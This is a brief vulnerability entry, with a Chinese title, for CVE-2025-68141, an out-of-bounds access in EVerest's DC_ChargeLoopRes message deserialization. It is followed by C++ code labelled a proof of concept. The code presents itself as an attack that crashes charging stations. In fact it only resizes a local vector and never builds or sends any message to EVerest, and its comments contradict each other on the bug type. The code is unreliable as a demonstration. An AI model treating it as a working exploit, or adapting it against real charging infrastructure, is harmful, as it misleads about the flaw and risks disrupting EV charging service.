CVE-2025-68141 EVerest充电软件栈DC_ChargeLoopRes消息反序列化越界访问漏洞

// CVE-2025-68141 PoC - Malformed DC_ChargeLoopRes Message // Target: EVerest < 2025.10.0 // Attack: Out-of-bounds access in DetailedTax conversion #include <cstdint> #include <vector> // Malformed iso20_dc_DetailedTaxType structure struct iso20_dc_DetailedTaxType { std::vector<uint8_t> tax_costs; // Out-of-bounds access here // ... other fields }; // Craft malicious DC_ChargeLoopRes with oversized tax_costs vector iso20_dc_DetailedTaxType craftMaliciousTaxData() { iso20_dc_DetailedTaxType maliciousData; // Trigger out-of-bounds by setting abnormal vector size maliciousData.tax_costs.resize(0xFFFFFFFF); // Force overflow return maliciousData; } // This will trigger null pointer dereference in convert() function void triggerVulnerability() { auto taxData = craftMaliciousTaxData(); // EVerest convert() function will access out-of-bounds // Result: Module crash, all EVSE shutdown } int main() { triggerVulnerability(); return 0; }